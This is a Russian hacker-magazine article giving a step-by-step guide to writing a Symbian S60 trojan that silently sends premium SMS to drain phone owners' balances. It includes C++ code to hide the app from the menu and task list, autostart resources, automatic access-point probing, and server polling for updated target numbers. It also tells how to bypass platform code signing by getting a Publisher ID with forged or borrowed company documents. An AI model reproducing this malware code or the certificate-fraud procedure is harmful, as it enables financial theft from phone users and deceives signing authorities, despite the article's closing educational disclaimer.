Содержание статьи
В свое время мы уже рассказывали о том, как злые люди пишут трояны, способные
пересылать копии sms'ок и информацию о звонках на номер хакера. Публикации
вызвали волну интереса, и до сих пор мне пишут люди с просьбами помочь
разобраться в разработке шпионского ПО. Что ж, мы учли специфику спроса на софт
подобного рода.
На этот раз мы приоткроем завесу тайны над процессом разработки продвинутого
смс–трояна для смартфонов Nokia, Samsung и LG на базе S60. Незаметно для
пользователя троян умеет сливать деньги со счета.
Немного теории
Интерес злоумышленников к трубкам невинных пользователей понятен. Смартфон –
это личное средство коммуникации, и он не только содержит разного рода приватную
информацию вроде сообщений, лога звонков и адресной книги, но и может выполнять
операции, напрямую связанные с состоянием денежного баланса (осуществление
звонков, отправка sms, использование GPRS и т.д.). Учитывая особенности
функционала смартфонов, я выделил бы три разновидности вредоносного ПО,
представляющие коммерческую ценность для хакеров:
1. Шпионское ПО – программы, сливающие тексты сообщений, лог звонков либо
посредством sms, либо отправкой на сервер злоумышленника. О разработке подобных
программ мы рассказывали в 93-м и 103-м номерах ][.
2. Трояны-рассыльщики платных SMS. Такой софт создается с целью наживы. В
простейшем варианте программа периодически незаметно отправляет Premium SMS
стоимостью от 0,5 $ до 5$ на номер, зарегистрированный на подставное юридическое
(либо – левое физическое) лицо.
3. Шпионский трекер – программа, использующая функционал встроенного
GPS-приемника, отправляет на сервер злоумышленников данные о координатах
устройства и, соответственно, его владельца. Используется для незаметного
слежения за перемещением объекта. Этот вид шпионского софта находится пока в
зачаточном состоянии, так как сильно ограничен модельным рядом смартфонов. Но на
рынке абсолютно точно существует, по крайней мере, одна работающая
программа-шпион.
Поскольку процесс создания приложений первого типа уже был более-менее
детально освещен, сейчас мы подробно рассмотрим шаги, необходимые для разработки
трояна-рассыльщика. В простейшем случае алгоритм функционирования несложен –
программа устанавливается в телефон, никак не выдавая свое присутствие. Раз в
заданный промежуток времени она отправляет Premium SMS (о том, что это и как
зарегистрировать короткий номер – смотри следующий раздел) на заданный номер и…
все. Примерно так и функционировал один из первых троянов для Symbian. Очевидно,
что этот функционал требует некоторого усовершенствования.
Логика функционирования продвинутого трояна
Проблема описанной программы заключается в том, что вскоре после попадания
трояна в аппараты пользователей, факт недобросовестности арендатора короткого
номера, на который отправляется платная sms, может сильно озаботить
собственников этого номера. Обычно они просто блокируют арендатора, чтобы он не
мог более класть деньги невинных пользователей к себе в карман. Но быстро
зарегистрировать новый короткий номер особого труда не составляет, поэтому
неплохо было бы, чтобы программа могла периодически обновлять информацию о том,
куда, собственно, слать платную sms. Иначе говоря, хакеру надо реализовать
механизмы соединения программы с сервером и обновления настроек. Казалось бы, в
чем сложность? А в том, что в смартфонах на базе Symbian все соединения через
tcp sockets (в том числе и HTTP over TCP) осуществляются посредством так
называемой «точки доступа в интернет» (Internet Access Point). Поэтому, если
программа использует функционал соединения с сетью, пользователь должен задать
используемую точку доступа хотя бы один раз. Троян трудно было бы назвать
незаметным, если бы он спрашивал у пользователя, какую точку доступа ему
использовать. Поэтому хакеру предстоит реализовать механизм автоматического
выбора точки доступа из установленных в смартфоне и определения ее способности
быть использованной в качестве транспорта для синхронизации с сервером. Итак,
требования к программе можно сформулировать следующим образом:
- Программа должна быть сокрыта от глаз пользователя (нет иконки в меню
телефона, в task list). - Программа автоматически запускается при старте телефона.
- Программа должна уметь автоматически определять работоспособную точку
доступа (IAP). - Программа должна уметь обновлять данные с сервера о том, куда слать
сообщения. - В программе должен быть реализован внятный механизм определения
периодичности отправки сообщения и сохранения даты последней отправки. - Программа должна уметь отправлять сообщения.
Помимо этого, стоит учесть, что софт, устанавливаемый на современные
смартфоны, работающие под управлением Symbian 9, должен быть подписан цифровым
сертификатом, получаемым в конторе под названием SymbianSigned. Предлагаю
пошагово рассмотреть этапы разработки зловредного ПО и подготовки его к работе.
Чтобы разобраться в предлагаемом материале, касающемся непосредственно
разработки софта для Symbian, неплохо иметь хотя бы небольшой опыт разработки
под эту мобильную ОС или, как минимум, ознакомиться с нашими предыдущими
статьями, посвященными программированию для мобильных устройств. Тут мною не
рассматриваются такие вопросы, как базовый костяк приложения, назначение
основных классов и функций, базовых парадигм и концепций Symbian (в случае чего
– список дополнительных материалов приведен в конце статьи).
Механизм сокрытия программы
Предположим, что базовый костяк приложения создан. Для этого могут быть
использованы как Carbide C++, так и Visual Studio.NET с установленной
надстройкой Carbide.VS. Подойдет базовый шаблон вроде «Symbian Hello World
Application» (отмечу, что в этой статье нет привязки к конкретному SDK, поэтому
можно использовать любой SDK для любой платформы). Теперь приступим к собственно
сокрытию приложения от глаз пользователя. Чтобы спрятать программу, нужно
выполнить три простых шага:
1) Редактируем структуру, содержащую служебную информацию о приложении и
именуемую AIF_DATA в Symbain 7.x-8.x и APP_REGISTRATION_INFO в Symbian 9.x. Эта
структура является обычным ресурсом и находится обычно в том файле ресурсов,
который содержит основной UID приложения. Необходимо добавить следующую простую
запись:
hidden = KAppIsHidden;
Флаг попросту скрывает иконку приложения из меню аппарата.
2) В класс документа приложения добавляем определение виртуальной функции
UpdateTaskNameL, служащей для настройки отображения иконки и названия программы
в Task–листе:
Void CMegaTroj::UpdateTaskNameL
(CApaWindowGroupName*aWgName)
{
CAknDocument::UpdateTaskNameL(aWgName);
//вызывается системная функция UpdateTaskNameL
aWgName->SetHidden(ETrue);
//Прячем приложение из таск-листа
aWgName->SetSystem(ETrue);
}
3) Для Symbian 7/8. Добавляем в конструктор класса AppUi-приложения свойства
окна, скрывающие его от глаз пользователя:
CEikonEnv::Static()->
RootWin().EnableReceiptOfFocus(EFalse);
//приложение никогда не может получить фокус
CEikonEnv::Static()->
RootWin().SetOrdinalPosition(-1000,
ECoeWinPriorityNeverAtFront);
Для Symbian 9. Проблема в использовании приведенного для Symbian 7/8 кода тут
состоит в том, что вызов второй статической функции в Symbian 9 блокирует любую
активность приложения, включая отправку сообщений. Поэтому мы ограничиваемся
вызовом первой функции и переопределяем метод класса CAknViewAppUi (от которого,
собственно, и наследуется класс AppUi-приложения) – HandleForegroundEventL,
вызываемого в момент, когда приложение получает или теряет фокус:
void CMegaTrojAppUi::HandleForegroundEventL
(TBool aForeground)
{
switch (aForeground)
{
case ETrue:
{
CEikonEnv::Static()->RootWin().SetOrdinalPosition
(0, ECoeWinPriorityNormal);
TApaTask task(iEikonEnv->WsSession());
task.SetWgId(CEikonEnv::Static()->
RootWin().Identifier());
task.SendToBackground();
}
break;
}
}
Все, теперь наше приложение при установке благополучно исчезает из меню
аппарата, task-листа – и даже прячется, если пользователь вдруг каким-то образом
найдет исполняемый файл в файловой системе и попытается запустить его вручную.
Реализация механизма автостарта
Программирование автостарта придется рассмотреть отдельно для Symbian 7/8 и
для Symbian 9.
Для Symbian 7/8. В самой Symbian OS до версии 9.х не было явной поддержки
механизма автостарта, и злые программисты для реализации своих темных планов
были вынуждены использовать так называемые recognizers.
Recognizers изначально являются механизмом для идентификации MIME–типа
конкретного файла, позволяющим, к примеру, операционной системе определять,
каким приложением открывать и редактировать файлы определенного типа. Для
управления запуском приложений и сохранением данных, основанных на MIME–типах, в
Series60 существует подсистема, именуемая Document Handler. Эта подсистема
разработана для корректного сохранения и открытия контента, полученного, к
примеру, через MMS–сообщения, WAP-закачки, bluetooth и т.д. Проще говоря,
механизм позволяет при открытии картинки из аттача сообщений открыть ее именно
программой просмотра сообщений, а не чем-то еще. В Series60 развит так
называемый embedded launching, – то есть, если в приложении А требуется
обработка контента по типу, соответствующему приложению В, то приложение А
вызывает приложение В и передает ему контент. При этом вернуться в приложение А
можно только по факту завершения работы с контентом в В. Примером служит
открытие в WEB-браузере смартфона ссылки на jpg-картинку. Для просмотра файла
запускается Image Viewer, и только после его закрытия можно вернуться к
браузеру.
Привязка конкретных приложений к конкретным типам осуществляется путем
хранения соответствий MIME-типов уникальным идентификаторам приложений (UID).
Чтобы помочь Symbian OS определить, каким приложением нужно открывать файл с
конкретным разрешением или MIME-типом, и были созданы recognizers. По своей сути
recognizer – это dll, имеющая разрешение mdl и сохраняемая в директории c:\system\recogs
смартфона. При старте смартфона ОС регистрирует соответствия вида «MIME–тип /
UID приложения» путем вызова кода recognizer’ов.
Именно этот факт и можно использовать для автостарта приложения. В нашем
случае процедура реализации автостарта следующая:
- Создаем recognizer для файлов с расширением *.bt (к примеру; расширение
тут вообще не принципиально). - В коде инициализации recognizer'a, запускаемом при старте смартфона,
прописываем путь к файлу трояна, который требуется запустить, и, собственно,
запускаем.
Процесс довольно сложен для восприятия, но исходники, как обычно, прилагаются
на диске к журналу. Здесь мы не будем их приводить из-за нехватки журнального
места.
Для Symbian 9. Тут, к счастью, все гораздо проще. Чтобы заставить нашу
программу запускаться при старте мобилы, нужно проделать вот что:
1) Создать файл ресурсов (*.rss), называемый по UID3 приложения. В частности,
если UID3 0x12345678, то файл ресурсов называем 12345678.rss. Содержать он будет
следующий ресурс:
#include <startupitem.rh>
RESOURCE STARTUP_ITEM_INFO blacklist
{
executable_name = "c:\\sys\\bin\\YourApp.exe";
recovery = EStartupItemExPolicyNone;
}
2) В MMP-файл добавляем команду компиляции файла ресурсов:
START RESOURCE 12345678.rss
TARGETPATH \resource\apps
END
3) В pkg-файл добавляем строку:
"C:\Symbian\9.1\S60_3rd_MR\epoc32\data\z\resource\apps\12345678.rsc"-"c:\private\101f875a\import\[12345678].rsc"
В данном случае директория c:\private\101f875a\import является рабочим
каталогом, на основании содержания которого формируется список автозагрузки.
Мы, фактически, создали хороший и универсальный костяк для практически любой
полезной софтины под Symbian. Идем дальше.
Автоопределение точки доступа
На мой взгляд, это самая сложная часть. Базовая идея реализация механизма
состоит в следующем:
1) Программно получаем список всех сохраненных в настройках устройства точек
доступа. Среди них будут как GPRS-, так и WAP- и MMS-точки доступа. При
получении списка точек доступа посредством класса CApSelect, который мы будем
использовать, можно задавать фильтр составления списка, в том числе и по типу
точки доступа (GPRS/WAP/MMS). Мы рекомендуем фильтрацию не проводить, поскольку
принадлежность конкретной точки доступа к конкретному типу (с точки зрения
CApSelect) не гарантирует, что через эту точку доступа нельзя достучаться до
нашего сервера (или что, наоборот, можно).
2) Начинаем перебирать каждую точку доступа из списка, используя ее для
тестового соединения с удаленным echo-сервером, отправляющим клиенту (нашей
программе) в точности тот же набор байт, который он получил от него. Проще
говоря, пытаемся отправить на эхо-сервис байты 0x01,0x02 и 0x03 и проверяем,
получили ли мы их обратно. Условие приема данной комбинации байт является
необходимым и достаточным для идентификации того, что точка доступа может быть
использована для соединения с сервером. В случае любого другого результата –
таймаут запроса, код ошибки и т.д. – мы идентифицируем точку доступа как
нерабочую.
3) Сохраняем идентификатор полученной рабочей точки доступа и используем ее
для соединения с сервером.
Для получения списка точек доступа, как уже отмечалось, используется
экземпляр класса CApSelect. Его можно сделать членом класса AppUi-приложения и
вызывать в конструкторе AppUi следующий код (будет, соответственно, вызываться
при старте приложения):
CCommsDatabase* commDb =
CCommsDatabase::NewL(EDatabaseTypeIAP);
CleanupStack::PushL(commDb);
iSelect = CApSelect::NewLC
(*commDb, KEApIspTypeAll, EApBearerTypeGPRS,
KEApSortNameAscending);
iConnectionEnabled = iSelect->MoveToFirst();
CleanupStack::Pop(iSelect);
CleanupStack::PopAndDestroy(commDb); //commDb
Здесь мы подсоединяемся к базе данных commDB и создаем список точек доступа.
После этого устанавливаем индекс списка на первую позицию (советую изучить
описание CApSelect в SDK). Теперь можно тестировать точки доступа. В качестве
движка работоспособности точки доступа используется модифицированный движок TCP,
исходные коды которого можно взять на forum.nokia.com. Модификация заключается в
том, что добавлен класс – observer (MtcpipIapCheckEngineObserver), содержащий
единственный метод TestCompleted, вызываемый движком при индикации процесса
окончании тестирования конкретной точки доступа. В нашем случае от
MTcpipIapCheckEngineObserver наследуется AppUi. Мы также не публикуем здесь
исходный текст движка CIapCheckTcpEngine, но с ним рекомендуется ознакомиться
(есть на нашем диске). Отметим, что вся логика использования экземпляра класса
CIapCheckTcpEngine в AppUi заключается в обработке вызова TestCompleted,
параметром которого как раз и является индикатор успешности или неуспешности
использования точки доступа. Код TestCompleted выглядит так:
void CMegaTroyAppUi::TestCompleted
(TIapTestResult aTestResult)
{
if(aTestResult == EIapNotUsable)
{
GetNextIapId();//переходим к тестированию
следующей точки доступа
}
else
{
HandleCommandL(EConnectToServer);
//ломимся на сервер
}
}
Как видно, в случае успеха, мы коннектимся к серверу и обновляем номер.
Коннект к серверу и чтение настроек
Чтобы иметь возможность удаленно задать хакерской софтине номер, на который
нужно слать недешевое sms, взломщики реализуют некое подобие админки (смотри
картинку).
Проще всего сделать это с использованием стандартной связки PHP + MySQL.
После изменения и занесения номера в базу на сервере необходимо реализовать
простенький интерфейс взаимодействия с мобильным телефоном. Тут можно пойти
разными путями:
- Просто выводить плейн-текстом номер и текст сообщения при обращении к
странице вида
http://yourhost.ru/megascript.php; - Можно использовать XML для поддержки расширяемости.
В общем, это уже дело вкуса. Главное, корректно обработать отдаваемые
сервером данные на стороне мобильного приложения. Проще всего снова пойти на
forum.nokia.com или пошариться на нашем диске и ознакомиться с кодом
http-движка, позволяющего осуществлять GET-запросы. Использование экземпляра
класса движка из AppUi выглядит примерно так:
iHTTPEngine->GetRequestL(iUri,iIapId);
Здесь iUri – url скрипта, возвращающего номер, а iIapId – идентификатор точки
доступа, которую мы решили использовать. После получения ответа от сервера нужно
позаботиться о том, чтобы сохранить номер в файл или в локальную переменную, и
отправить sms.
Механизм отправки sms
Этот функционал уже неоднократно описывался на страницах нашего журнала,
поэтому либо подними старые номера, либо ознакомься с материалами на сайте
http://dtarasov.ru.
Сертификация приложения
Как говорилось выше, чтобы приложения могли беспрепятственно устанавливаться
в смартфоны под управлением Symbian 9, необходимо их подписывать цифровым
сертификатом. Эта мера была введена в рамках технологии Symbian Platform
Security, появившейся в Symbian OS 9.1 и предназначенной для защиты как раз от
подобного софта. Если попытаться вкратце сформулировать суть проблемы, то есть
два пути, чтобы заставить приложение установиться в телефон пользователя:
1) Узнать IMEI (универсальный идентификатор аппарата) телефонов всех
пользователей и вручную подготовить сертификат средствами Symbian Offline Signed.
При этом программа будет устанавливаться исключительно на смартфоны из множества
IMEI, указанных при создании сертификата.
2) Подписать приложение на сайте Symbian средствами Express Signed или
Certified Signed. Отличается Express Signed от Certified Signed тем, что подпись
стоит существенно дешевле (20$), а также не требует тестирования программы
вручную специалистами тестового центра. Необходимо просто засабмитить форму с
информацией о приложении и само приложение. Если все сделать правильно, то на
выходе получим сертифицированное приложение. Тем не менее, потом оно может
попасть на аудит и сертификация будет аннулирована, если тестерам что-то не
понравится. Certified Signed подразумевает собой тестирование вручную
специалистами тестового центра. В хакерском случае это вообще не вариант – вряд
ли им придет в голову сертифицировать трояны!
Очевидно, что из указанных способов первый едва ли может быть применим –
хакер просто не сумеет собрать IMEI всех мобил, в которые желает внедриться.
Единственный путь – сертификация посредством Express Signed. Все осложняет один
факт – для того, чтобы воспользоваться Express Signed, необходимо иметь
универсальный идентификатор поставщика услуг Publisher ID. Стоит он $200 в год и
отпускается исключительно юридическим лицам, представившим учредительские
документы в TrustCenter. Подробнее о Publisher ID можно прочитать на
http://dtarasov.ru. Процедура
регистрации Publisher ID может выглядеть примерно так:
1) Взломщик заполняет анкету на trustcenter.de/order/publisherid/dev, вводит
данные кредитки.
2) На указанный e-mail приходит письмо с перечнем необходимых документов,
которые необходимо предоставить для идентификации поставщика услуг
(разработчика).
3) Злодей отправляет сканы документов какого-нибудь левого юр.лица (можно и
индивидуального предпринимателя).
4) Вышеозначенный гибрид Гитлера и Бармалея получает ссылку на сертификат,
устанавливающийся в браузер. Он понадобится, чтобы получить доступ к функциям
Express Signed из личного кабинета на сайте SymbianSigned.com.
Все, Publisher ID получен. Тонким моментом здесь является отправка
учредительских документов юридического лица. Обычно хакеры изыскивают
возможность отправки каких-нибудь поддельных или чужих документов. Как
показывает практика, у Trustcenter нет возможности проверить их подлинность,
поэтому их рисуют даже в фотошопе. После получения Publisher ID взломщик
получает доступ к Express Signed – и возможность сабмитить свеженаписанный троян
на подпись. Здесь шаги следующие:
1) Софтина заливается на подпись.
2) Указанная прога автоматически подписывается сертификатом и с этого момента
может быть установлена в любой смартфон.
3) Хакер быстренько скачивает свой зло-софт с сайта SymbianSigned и начинает
распространять.
4) Троян, возможно, попадает на аудит.
5) Специалисты тестового центра аннулируют сабмит, удаляя подписанную
программу с сайта и блокируют Publisher ID.
Даже если пункты 4 и 5 будут иметь место (что совсем не факт), то, в любом
случае, взломщик успеет скачать подписанный троян и сможет начать его
популяризацию. Для распространения заразы Publisher ID не нужен и, даже если его
заблокируют, это уже малоинтересно, ибо делали его на подставные документы.
Таким вот незаурядным способом обходится защита Symbian Platform Security.
Кстати, ты заметил, что во всех этих случаях я описываю деятельность некоего
«хакера»? Это неспроста, поскольку сам я подобными вещами никогда не занимался и
тебе не советую – мы всего лишь описываем то, как оно случается. Просто будь в
курсе и знай, что самые современные технологии от Симбиан не могут защитить твою
мобилу на сто процентов.
Happy End
Как видно, задача написания функционального трояна для Symbian не такая уж и
тривиальная, но вполне выполнимая. Сейчас угроза безопасности не так явна в силу
относительной сложности описанных процедур реализации. Вирусописатели еще не
успели наплодить массу опасного ПО. Но со временем они его наплодят, поэтому
пользователям мобильных устройств стоит внимательнее относиться к
устанавливаемому ПО, тем более, из непроверенных источников. Если же читатель
заинтересован в разработке или использовании подобных «продуктов», то
напоминаем, что это противозаконная деятельность, которая может привести к
печальным последствиям!
|
|
WARNING
Министерство здравоохранения ][ еще раз напоминает, что данная статья написана
исключительно в образовательных целях. Мы не несем ответственности за
противозаконное применение этой информации.
